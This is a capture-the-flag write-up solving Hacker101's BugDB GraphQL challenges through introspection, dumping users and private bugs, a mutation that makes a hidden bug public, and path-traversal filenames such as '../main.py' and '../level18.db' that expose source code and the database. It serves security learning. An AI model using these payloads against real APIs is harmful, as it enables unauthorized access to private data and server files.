Peace be upon all of you, on this writeup I am going to cover the solutions of three challenges on Hacekrone related to GraphQL, they have three parts under the name BugDB v1/3.
Difficulty: Easy and moderate
Challenge Link: https://ctf.hacker101.com/ctf
BugDB v1
Enumeration
Once we will open the challenge we will found a graphql endpoint that has a graphiql interface that will ease the process of interacting with graphql.
Reading Docs
when you stumble upon any graphql endpoint you need first to understand what is the graph schema? and what is the types of data that stored here. opening the documentation we will find mostly what we need.
Introspection Query
Introspection is the ability to query which resources are available in the current API schema. Given the API, via introspection, we can see the queries, types, fields, and directives it supports.
but we have another good solution which is to run the introspection query to retrieve all the structure of the graphql. an example for this is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
types {
...FullType
}
directives {
name
description
locations
args {
...InputValue
}
}
}
}
fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}
fragment InputValue on __InputValue {
name
description
type { ...TypeRef }
defaultValue
}
fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}
}
}
}
}
GraphQL Voyager
With graphql-voyager you can visually explore your GraphQL API as an interactive graph. This is a great tool when designing or discussing your data model. It includes multiple example GraphQL schemas and also allows you to connect it to your own GraphQL endpoint. What are you waiting for, explore your API!
As long as graphql is very complex structure language so we need so form of visualization to display to us all schema and the relations between them.This awesome tool will help us to do this job. Simply you can open it website:
https://apis.guru/graphql-voyager/
what you need to pass for this tool is the output of the Introspection query. so enter the query at the graphql endpoint and copy the output to the voyager at change schema -> Introspection.
I think it’s way more better than before. now we are ready to go through it.
Dumping data
As you can see in the previous image there are three columns (Bugs, Users, Bugs_) and 6 types of queries that we can deal with them (User, bug, findUser, findBug, allUsers, allBugs).
Getting Users
We can start by trying to get some users. to know how to write the right query and argument that we need to pass. To know that we can click on user at the voyager.
let’s craft our query. So there is a query called user that contains to columns (ID, username). so we can simply try the following query and see the output.
1
2
3
4
5
6
7
8
9
10
11
query {
user {
edges {
node {
id
username
id
}
}
}
}
Great now we know that there are two users admin and victim.
Getting Bug Reports
There also another interesting column that called Bugs.
We can see the fields that we can retrieve in the bug column. Also if we need to access the bug column as you can see in the image you have the allBugs and Bug query to access the Bugs Columns. Let’s craft our payload as we did before.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
query {
allBugs {
edges {
node {
id
id
private
reporter {
id
}
reporterId
}
}
}
}
Great! Now, it seems that we have dumped all content expect for the text filed in *Bugs_ *column.
Flag
But How we can access the text filed?
As you can see that the text filed is accessible through Users columns which is accessible by the user query. So our payload should look something like that:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
query {
user {
edges {
node {
id
username
bugs{
edges {
node {
text
}
}
}
}
}
}
}
and Volia! we have solved the first one.
BugDB v2
Now, let’s move on to the next part of this series. on the previous one we begin to get familiar with the syntax and quires of the graphQL. On this on we are going to be familiar with the Mutation query.
Enumeration
like the previous one we have to apply the introspection query to get familiar with the schema and the structure of the graphQL. and then pass it to the voyager tool.
Dumping data
let’s dump the users and the bugs columns.
So now we know that we have two users admin and victim and we have one report. but we didn’t get the flag like before when we dumped the database. hmm! but here we have Mutations but what is it?
Mutations
Mutation queries modify data in the data store and returns a value. It can be used to insert, update, or delete data. Mutations are defined as a part of the schema.
you can read more information about from here: https://www.tutorialspoint.com/graphql/graphql_mutation.htm
So with mutation we can edit, insert or delete data. let’s examine in the graphql what fields this query require.
We have here modifyBug query that can edit the bug details. but here there is a very interesting field which is private. this filed accept boolean value that will allow us to change the value of the report from private to public to be able to view. remember that we had 2 users and only one report so it is an indication that there is a hidden one. let’s craft our mutation query:
1
2
3
4
5
6
7
8
9
10
11
mutation{
modifyBug(private:false, id:2){
ok
bug {
id
text
reporterId
private
}
}
}
Flag
This query will change the visibility of the second payload from private to public. let’s try to dump the bug columns again.
and the flag is here!
BugDB v3
Moving to the last one which seem to be a bit difficult than the others. let’s begin:
Enumeration
Let’s collect all the needed information as we did before:
Dumping Data
It seems that there is a new columns here called *attachments *let’s dump all:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
query {
allUsers {
edges{
node{
username
id
}
}
edges {
node {
id
bugs{
edges{
node{
attachments{
edges{
node{
filename
id
bugId
}
}
}
}
}
}
}
}
}
}
Mutations
We have here attachFile** *and **modifyAttachment *query that can upload the some attachments. let’s test it by adding some stuff:
1
2
3
4
5
mutation{
attachFile(bugId: 2, contents: "ItsFadinG") {
ok
}
}
If we look again at the attachments file we will find that a new file has been added.
So we need to access this file but there is now intended function to be able to view this. we can take a look at some hints form Hackerone website it says:
What new functionality was added?
Filenames are always interesting.
How do you access attachments? Hint: not via GraphQL.
So, I think we can’t access the attachment through GraphQL. so we can try to access it through the browser. I did some directory brute force and I found that there is a directory called Attachment/1.
Great we can now access our uploaded file. the problem here that we didn’t find the flag yet what else we need to do to find it?
Directory Traversal
I struggled a lot at this point I couldn’t find any way to find the flag. I though about getting a hint and this video helped me a lot:
Here Nahamsec struggles also at this point and he contacted someone at Hackerone discord server and he told him:
you can rename the attachments in way that match the name of a file that that exits in the app.
if you know daeken’s CTF, he likes building python flask apps.
This seems interesting! here we may have directory traversal vulnerability. there is a common file in FLASK called main.py
let’s try to access it.
1
2
3
4
5
mutation{
modifyAttachment(id:1, filename:"../main.py"){
ok
}
}
we will use the mutation modifyAttachment
to edit the name of our file. and BOOM it works!
still we didn’t find the flag but let’s try to access another file.
1
2
3
4
5
mutation{
modifyAttachment(id:1, filename:"../model.py"){
ok
}
}
Flag
Here is another interesting file here called level18.db which seems to be the database.
1
2
3
4
5
mutation{
modifyAttachment(id:1, filename:"../level18.db"){
ok
}
}
Bingo! The Flag is here! Thanks For reading I hope you enjoyed it.